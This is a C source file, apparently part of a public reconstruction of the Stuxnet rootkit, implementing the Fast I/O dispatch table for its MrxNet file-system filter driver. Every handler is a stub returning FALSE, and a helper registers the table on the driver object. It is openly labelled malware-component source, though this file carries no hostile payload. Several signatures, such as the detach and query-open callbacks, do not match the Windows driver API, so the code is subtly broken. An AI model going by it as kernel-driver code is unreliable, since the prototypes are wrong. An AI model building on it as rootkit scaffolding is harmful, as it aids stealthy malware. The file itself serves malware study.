Files
2026-09-09 17:10:10 +08:00

432 lines
11 KiB
C

/*
* rootkit/FastIo.c
* Stuxnet Rootkit - Fast I/O Dispatch Implementation
*
* Based on research-virus/stuxnet
* https://github.com/research-virus/stuxnet
*
* The Fast I/O dispatch table is used to intercept file system requests
* at the highest performance level, bypassing the IRP path.
*/
#include <ntddk.h>
#include <ntifs.h>
NTSTATUS MrxNet_DispatchPassThrough(PDEVICE_OBJECT pDeviceObject, PIRP pIrp);
/*
* FastIoCheckIfPossible - Checks if a Fast I/O operation is possible
*
* This routine is called by the I/O manager to determine if a Fast I/O
* operation can be performed on the file object. Returning FALSE forces
* the I/O manager to fall back to the IRP path.
*/
BOOLEAN MrxNet_FastIoCheckIfPossible(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
ULONG Length,
BOOLEAN Wait,
BOOLEAN CheckForReadOperation,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoRead - Fast I/O read routine
*
* Handles synchronous reads from the cache. Returns FALSE to force
* the I/O manager to use the IRP path instead.
*/
BOOLEAN MrxNet_FastIoRead(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
ULONG Length,
BOOLEAN Wait,
ULONG LockKey,
PVOID Buffer,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoWrite - Fast I/O write routine
*
* Handles synchronous writes to the cache. Returns FALSE to force
* the I/O manager to use the IRP path instead.
*/
BOOLEAN MrxNet_FastIoWrite(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
ULONG Length,
BOOLEAN Wait,
ULONG LockKey,
PVOID Buffer,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoQueryBasicInfo - Fast I/O query basic file information
*
* Retrieves basic file information (attributes, timestamps, etc.).
* Returns FALSE to force the IRP path.
*/
BOOLEAN MrxNet_FastIoQueryBasicInfo(
PFILE_OBJECT pFileObject,
BOOLEAN Wait,
PFILE_BASIC_INFORMATION pBuffer,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoQueryStandardInfo - Fast I/O query standard file information
*
* Retrieves standard file information (size, allocation size, etc.).
* Returns FALSE to force the IRP path.
*/
BOOLEAN MrxNet_FastIoQueryStandardInfo(
PFILE_OBJECT pFileObject,
BOOLEAN Wait,
PFILE_STANDARD_INFORMATION pBuffer,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoLock - Fast I/O file locking
*
* Handles byte-range locking on files. Returns FALSE to force the IRP path.
*/
BOOLEAN MrxNet_FastIoLock(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
PLARGE_INTEGER pLength,
PEPROCESS pProcess,
ULONG Key,
BOOLEAN FailImmediately,
BOOLEAN ExclusiveLock,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoUnlockSingle - Fast I/O single unlock
*
* Unlocks a single byte-range lock on a file.
*/
BOOLEAN MrxNet_FastIoUnlockSingle(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
PLARGE_INTEGER pLength,
PEPROCESS pProcess,
ULONG Key,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoUnlockAll - Fast I/O unlock all
*
* Unlocks all byte-range locks held by a process on a file.
*/
BOOLEAN MrxNet_FastIoUnlockAll(
PFILE_OBJECT pFileObject,
PEPROCESS pProcess,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoUnlockAllByKey - Fast I/O unlock all by key
*
* Unlocks all byte-range locks with a specific key.
*/
BOOLEAN MrxNet_FastIoUnlockAllByKey(
PFILE_OBJECT pFileObject,
PVOID pProcess,
ULONG Key,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoDeviceControl - Fast I/O device control
*
* Handles fast I/O device control requests. Returns FALSE to force IRP.
*/
BOOLEAN MrxNet_FastIoDeviceControl(
PFILE_OBJECT pFileObject,
BOOLEAN Wait,
PVOID pInputBuffer,
ULONG InputBufferLength,
ULONG IoControlCode,
PVOID pOutputBuffer,
ULONG OutputBufferLength,
ULONG *pBytesReturned,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoDetachDevice - Fast I/O detach device
*
* Detaches the device from the stack.
*/
BOOLEAN MrxNet_FastIoDetachDevice(
PDEVICE_OBJECT pSourceDevice,
PDEVICE_OBJECT pTargetDevice
) {
return FALSE;
}
/*
* FastIoQueryNetworkOpenInfo - Fast I/O query network open info
*
* Retrieves network open information for a file object.
*/
BOOLEAN MrxNet_FastIoQueryNetworkOpenInfo(
PFILE_OBJECT pFileObject,
BOOLEAN Wait,
PFILE_NETWORK_OPEN_INFORMATION pBuffer,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* MdlRead - MDL-based read
*
* Reads data directly into an MDL (Memory Descriptor List).
*/
BOOLEAN MrxNet_MdlRead(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
ULONG Length,
ULONG LockKey,
PMDL pMdl,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* MdlReadComplete - MDL read complete
*
* Completes an MDL-based read operation.
*/
BOOLEAN MrxNet_MdlReadComplete(
PFILE_OBJECT pFileObject,
PMDL pMdl,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* PrepareMdlWrite - Prepare MDL-based write
*
* Prepares an MDL for a write operation.
*/
BOOLEAN MrxNet_PrepareMdlWrite(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
ULONG Length,
ULONG LockKey,
PMDL *ppMdl,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* MdlWriteComplete - MDL write complete
*
* Completes an MDL-based write operation.
*/
BOOLEAN MrxNet_MdlWriteComplete(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
PMDL pMdl,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoReadCompressed - Compressed read
*
* Handles reads from compressed files.
*/
BOOLEAN MrxNet_FastIoReadCompressed(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
ULONG Length,
ULONG LockKey,
PVOID Buffer,
PMDL pMdl,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoWriteCompressed - Compressed write
*
* Handles writes to compressed files.
*/
BOOLEAN MrxNet_FastIoWriteCompressed(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
ULONG Length,
ULONG LockKey,
PVOID Buffer,
PMDL pMdl,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* MdlReadCompleteCompressed - Compressed MDL read complete
*
* Completes an MDL-based read from a compressed file.
*/
BOOLEAN MrxNet_MdlReadCompleteCompressed(
PFILE_OBJECT pFileObject,
PMDL pMdl,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* MdlWriteCompleteCompressed - Compressed MDL write complete
*
* Completes an MDL-based write to a compressed file.
*/
BOOLEAN MrxNet_MdlWriteCompleteCompressed(
PFILE_OBJECT pFileObject,
PLARGE_INTEGER pFileOffset,
PMDL pMdl,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* FastIoQueryOpen - Fast I/O query open
*
* Queries open information for a file object.
*/
BOOLEAN MrxNet_FastIoQueryOpen(
PFILE_OBJECT pFileObject,
BOOLEAN Wait,
PFILE_NETWORK_OPEN_INFORMATION pBuffer,
PIO_STATUS_BLOCK pIoStatus,
PDEVICE_OBJECT pDeviceObject
) {
return FALSE;
}
/*
* MrxNet_FillFastIoRoutines - Fills the FAST_IO_DISPATCH structure
*
* Populates the Fast I/O dispatch table with function pointers.
* All routines return FALSE to force the I/O manager to use IRPs.
*/
VOID MrxNet_FillFastIoRoutines(PFAST_IO_DISPATCH pFastIoDispatch) {
if (!pFastIoDispatch) return;
pFastIoDispatch->FastIoCheckIfPossible = MrxNet_FastIoCheckIfPossible;
pFastIoDispatch->FastIoRead = MrxNet_FastIoRead;
pFastIoDispatch->FastIoWrite = MrxNet_FastIoWrite;
pFastIoDispatch->FastIoQueryBasicInfo = MrxNet_FastIoQueryBasicInfo;
pFastIoDispatch->FastIoQueryStandardInfo = MrxNet_FastIoQueryStandardInfo;
pFastIoDispatch->FastIoLock = MrxNet_FastIoLock;
pFastIoDispatch->FastIoUnlockSingle = MrxNet_FastIoUnlockSingle;
pFastIoDispatch->FastIoUnlockAll = MrxNet_FastIoUnlockAll;
pFastIoDispatch->FastIoUnlockAllByKey = MrxNet_FastIoUnlockAllByKey;
pFastIoDispatch->FastIoDeviceControl = MrxNet_FastIoDeviceControl;
pFastIoDispatch->FastIoDetachDevice = MrxNet_FastIoDetachDevice;
pFastIoDispatch->FastIoQueryNetworkOpenInfo = MrxNet_FastIoQueryNetworkOpenInfo;
pFastIoDispatch->MdlRead = MrxNet_MdlRead;
pFastIoDispatch->MdlReadComplete = MrxNet_MdlReadComplete;
pFastIoDispatch->PrepareMdlWrite = MrxNet_PrepareMdlWrite;
pFastIoDispatch->MdlWriteComplete = MrxNet_MdlWriteComplete;
pFastIoDispatch->FastIoReadCompressed = MrxNet_FastIoReadCompressed;
pFastIoDispatch->FastIoWriteCompressed = MrxNet_FastIoWriteCompressed;
pFastIoDispatch->MdlReadCompleteCompressed = MrxNet_MdlReadCompleteCompressed;
pFastIoDispatch->MdlWriteCompleteCompressed = MrxNet_MdlWriteCompleteCompressed;
pFastIoDispatch->FastIoQueryOpen = MrxNet_FastIoQueryOpen;
}
/*
* MrxNet_RegisterFastIo - Registers Fast I/O with the driver object
*
* Allocates and fills a FAST_IO_DISPATCH structure, then attaches it
* to the driver object. This enables Fast I/O interception.
*/
NTSTATUS MrxNet_RegisterFastIo(PDRIVER_OBJECT pDriverObject) {
PFAST_IO_DISPATCH pFastIoDispatch;
if (!pDriverObject) {
return STATUS_INVALID_PARAMETER;
}
pFastIoDispatch = (PFAST_IO_DISPATCH)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(FAST_IO_DISPATCH),
'lnCx'
);
if (!pFastIoDispatch) {
return STATUS_INSUFFICIENT_RESOURCES;
}
RtlZeroMemory(pFastIoDispatch, sizeof(FAST_IO_DISPATCH));
MrxNet_FillFastIoRoutines(pFastIoDispatch);
pDriverObject->FastIoDispatch = pFastIoDispatch;
return STATUS_SUCCESS;
}
/*
* MrxNet_UnregisterFastIo - Unregisters Fast I/O
*
* Frees the FAST_IO_DISPATCH structure.
*/
VOID MrxNet_UnregisterFastIo(PDRIVER_OBJECT pDriverObject) {
if (pDriverObject && pDriverObject->FastIoDispatch) {
ExFreePoolWithTag(pDriverObject->FastIoDispatch, 'lnCx');
pDriverObject->FastIoDispatch = NULL;
}
}